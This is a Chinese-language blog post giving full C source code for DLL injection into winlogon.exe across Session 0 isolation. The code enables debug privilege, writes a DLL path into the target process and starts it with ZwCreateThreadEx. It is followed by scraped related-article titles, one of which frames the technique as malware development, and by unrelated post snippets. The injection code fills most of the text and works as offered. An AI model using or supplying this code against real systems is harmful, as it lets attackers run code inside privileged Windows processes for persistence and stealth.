突破SESSION 0隔离的远程线程注入
与传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一区别在于,突破 SESSION 0 远线程注 入技术是使用比 CreateRemoteThread 函数更为底层的 ZwCreateThreadEx 函数来创建远线程,而具体的远线程注入原理是相同的。
SESSION 机制使得其创建一个进程之后并不会立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。在使用 CreateRemoteThread 执行远线程创建的时候,会调用底层函数ZwCreateThreadEx函数执行创建远程线程,在进行服务进程的注入的时候, ZwCreatedThreadEx 的参数 CreateSuspended(也就是 CreatedThread 标志位)一直为1,这也就直接导致注入的线程一直处于挂起状态,无法运行。
过程:
- 基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
- 获取要注入的目标进程的 PID
- 执行注入操作
- 执行注入操作使用函数 ZwCreateRemoteThreadEx
#include<stdio.h>
#include<Windows.h>
#include<Tlhelp32.h>
#include <tchar.h>
#define DestProc _T("winlogon.exe") //要注入的Session 0的进程,截屏进程 //提升为调试权限
BOOL SunEnableDebugPrivilege(BOOL IsEnable) //IsEnable为TURE就是升成xx权限,而FALES为收回权限
{
BOOL IsOk = FALSE;
HANDLE TokenHandle; //打开当前进程,获取其令牌句柄,用于调整权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle))
{
TOKEN_PRIVILEGES TokenPrivileges; //定义调整权限的填充值 TokenPrivileges.PrivilegeCount = 1; //要调整权限的数量
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &TokenPrivileges.Privileges[0].Luid); //查询xx权限对应的id Luid
TokenPrivileges.Privileges[0].Attributes = IsEnable ? SE_PRIVILEGE_ENABLED : 0; //三目运算,IsEnable为TURE就取SE_PRIVILEGE_ENABLED,而FALES为0
AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); //调整进程权限
IsOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(TokenHandle);
}
return IsOk;
} // char双字转char单字
BOOL SunUnicodeToAnsi(WCHAR* WideString, char** MultiByteString)
{ DWORD MultiByteStringLength; if (!WideString)
{
return FALSE;
} MultiByteStringLength = WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK,
WideString, -1, NULL, 0, NULL, NULL); *MultiByteString = (char*)malloc(MultiByteStringLength * sizeof(CHAR));
if (*MultiByteString == NULL)
{
return FALSE;
}
WideCharToMultiByte(CP_ACP,
WC_COMPOSITECHECK,
WideString, -1, *MultiByteString, MultiByteStringLength, NULL, NULL); return TRUE; } // 枚举进程,找到目标进程
BOOL GetProcessIDByName(TCHAR *name, PDWORD pid)
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//拍进程快照
if (INVALID_HANDLE_VALUE == hProcessSnap)
{
printf("CreateToolhelp32Snapshot Error :%d", GetLastError());
}
BOOL Ret = Process32First(hProcessSnap, &pe32);//枚举快照
while (Ret)
{
SIZE_T len = _tcslen(pe32.szExeFile);
if (!_tcscmp(pe32.szExeFile,name))
{
*pid = pe32.th32ProcessID; // 得到目标进的Pid
break;
}
Ret = Process32Next(hProcessSnap, &pe32);//下一进程信息
}
return TRUE;
} int main()
{
//基本思路:服务运行在高权限,因此在注入之前需要先提权,获取相应的权限
//获取要注入的目标进程的PID
//执行注入操作
//执行注入操作使用函数ZwCreateRemoteThreadEx /********************************Step1:当前进提权**********************************/ HANDLE hProcess = GetCurrentProcess();
DWORD pid;
const char* DestPower = "SeDebugPrivilege";
BOOL Ret = SunEnableDebugPrivilege(TRUE); // 当前进程提权
if (!Ret)
{
MessageBox(0, _T("提权失败"), _T("失败"), 0);
return 0;
} /********************************Step2:获得目标进程句柄**********************************/ // 提权之后,匹配要注入的进程的PID,做进程遍历
BOOL bRet = GetProcessIDByName((TCHAR*)DestProc, &pid);
if (!bRet)
{
MessageBox(0,_T("获得id失败"), _T("失败"), 0);
return 0;
}
//打开目标进程句柄
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);//打开进程句柄 if (!handle)
{
DWORD Error = GetLastError();
printf("%d", Error);
MessageBox(0,_T("打开句柄失败"), _T("失败"), 0); return 0;
} /********************************Step3:将dll路径写入到目标进程中**********************************/ //申请空间,分配相应的权限
LPVOID lpaddress = VirtualAllocEx(handle, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
if (!lpaddress)
return 0; TCHAR DllFullPath[MAX_PATH] = { 0 };
ULONG32 DllFullPathLength = 0;
GetCurrentDirectory(MAX_PATH, DllFullPath); // 获得当前进程这个路径
// L"C:\\Users\\Lenovo\\source\\repos\\测试\\测试" _tcscat_s(DllFullPath, _T("\\mydll.dll")); // 要注入dll的完整路径
// L"C:\\Users\\Lenovo\\source\\repos\\测试\\测试\\mydll.dll"
DllFullPathLength = (_tcslen(DllFullPath) + 1) * sizeof(TCHAR); // 向申请的内存空间写入数据(dll完整路径)
bool write = WriteProcessMemory(handle, lpaddress, DllFullPath, DllFullPathLength, NULL);
if (!write)
return 0; /********************************Step4:调用ntdll中函数ZwCreateThreadEx启动远程线程**********************************/ // 加载ntdll.dll
HMODULE hNtdll = LoadLibrary(_T("ntdll.dll"));
if (NULL == hNtdll)
{
printf("加载ntdll.dll失败!");
CloseHandle(hProcess);
return FALSE;
}
// 获取LoadLibrary函数的地址
HMODULE kernel32Base = GetModuleHandle(_T("kernel32.dll"));
#ifdef _UNICODE
FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryW");
#else
FARPROC pFuncProcAddr = GetProcAddress(kernel32Base, "LoadLibraryA");
#endif // _UNICODE if (NULL == pFuncProcAddr)
{
printf("获取LoadLibrary函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
// 获取目标函数地址ZwCreateThreadEx
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits, // 32/64位不同点
SIZE_T StackSize, // ... ...
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize, // 32/64位不同点
DWORD dw1, // ... ...
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx =
(typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("获取ZwCreateThreadEx函数地址失败!");
CloseHandle(hProcess);
return FALSE;
}
HANDLE hRemoteThread = NULL;
DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, handle,
(LPTHREAD_START_ROUTINE)pFuncProcAddr, lpaddress, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
printf("目标进程中创建线程失败!");
CloseHandle(hProcess);
system("PAUSE");
return FALSE;
}
printf("注入成功");
system("PAUSE");
return TRUE;
}
测试结果:

突破SESSION 0隔离的远程线程注入的更多相关文章
- 恶意软件开发——突破SESSION 0 隔离的远线程注入
一.前言 在Windows XP,Windows Server 2003以及更早的版本中,第一个登录的用户以及Windows的所有服务都运行在Session 0上,这样的做法导致用户使用的应用程序可能 ...
- 远程线程注入DLL突破session 0 隔离
远程线程注入DLL突破session 0 隔离 0x00 前言 补充上篇的远程线程注入,突破系统SESSION 0 隔离,向系统服务进程中注入DLL. 0x01 介绍 通过CreateRemoteTh ...
- 关于突破 SESSION 0 隔离场景发现的一些问题
0x00 Tricks 0x01 用ZwCreateThreadEx 在 Windows 10 下直接通过管理员权限+SeDebugPrivilege启用. 0x02 用CreateRemoteThr ...
- 远程线程注入突破SESSION 0
远程线程注入突破SESSION 0 SESSION 0 隔离 在Windows XP.Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Se ...
- 远程线程注入DLL
远程线程注入 0x00 前言 远程线程注入是一种经典的DLL注入技术.其实就是指一个新进程中另一个进程中创建线程的技术. 0x01 介绍 1.远程线程注入原理 画了一个图大致理解了下远程线程注入dll ...
- 远程线程注入dll,突破session 0
前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...
- windows-CODE注入(远程线程注入)
远程线程注入(先简单说,下面会详细说)今天整理下代码注入(远程线程注入),所谓代码注入,可以简单的理解为是在指定内进程里申请一块内存,然后把我们自己的执行代码和一些变量拷贝进去(通常是以启线程的方式) ...
- 解决vista和win7在windows服务中交互桌面权限问题:穿透Session 0 隔离
在某国外大型汽车公司BI项目中,有一个子项目,需要通过大屏幕展示销售报表,程序需要自动启动和关闭.开发人员在开发过程中,发现在Win7的service中不能直接操作UI进程,调查过程中,发现如 ...
- [转]解决vista和win7在windows服务中交互桌面权限问题:穿透Session 0 隔离
服务(Service)对于大家来说一定不会陌生,它是Windows 操作系统重要的组成部分.我们可以把服务想像成一种特殊的应用程序,它随系统的“开启-关闭”而“开始-停止”其工作内容,在这期间无需任何 ...
- 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...
随机推荐
- python之logging日志
一.logging介绍: 使用 logging.debug(text)来打印信息,info等的使用方法与debug一致,都只有一个位置参数 默认日志界别为:会输出warning以上的信息,代码示例: ...
- java基础-数组-day06
1. 引入数组 录入10个学生的成绩 求和 求平均 import java.util.Scanner; public class TestArray01{ public static void mai ...
- Keep English Level-01
state -- 声称,宣称,国家,政府 state-owned -- 国有的 He stated that "hell will break loose,politically and m ...
- Java21 + SpringBoot3整合Redis,使用Lettuce连接池,推荐连接池参数配置,封装Redis操作
目录 前言 相关技术简介 Redis 实现步骤 引入maven依赖 修改配置文件 定义Redis配置类 定义Redis服务类,封装Redis常用操作 使用Redis服务类 总结 前言 近日心血来潮想做 ...
- [转帖]使用S3F3在Linux实例上挂载Bucket
https://docs.jdcloud.com/cn/object-storage-service/s3fs S3F3是基于FUSE的文件系统,允许Linux 挂载Bucket在本地文件系统,S3f ...
- 【转帖】【ethtool】ethtool 网卡诊断、调整工具、网卡性能优化| 解决丢包严重
目录 即看即用 详细信息 软件简介 安装 ethtool的使用 输出详解 其他指令 将 ethtool 设置永久保存 如何使用 ethtool 优化 Linux 虚拟机网卡性能 ethtool 解决网 ...
- openEuler technical-certification
https://gitee.com/meitingli/technical-certification/ 介绍 存放openEuler技术测评相关的文档,包括技术测评标准.流程.指导性文档等 技术测评 ...
- 银河麒麟v10 安装 virt-manager 的过程
上个月公司购置一台飞腾2000+ 银河麒麟v10的机器. 想着能够利用虚拟化 安装一下虚拟机 提高测试灵活度 找了一下原厂要了一下相关的命令 在这里进行一下测试工作. 第一步: 安装必备的包 yum ...
- TypeScript 类型增强declare的使用
类型增强 declare 的使用 1.如果一个有一个全局变量 golabaol . 在index.html中. 2.我们在xx.vue中使用 golabaol .这个时候会报错 找不到名称" ...
- typeScript类型别名
类型别名 类型别名:是可以给一个类型起一个新的名字 采用关键字 type 例如 type Name=string|number type strType=string|number|boolean; ...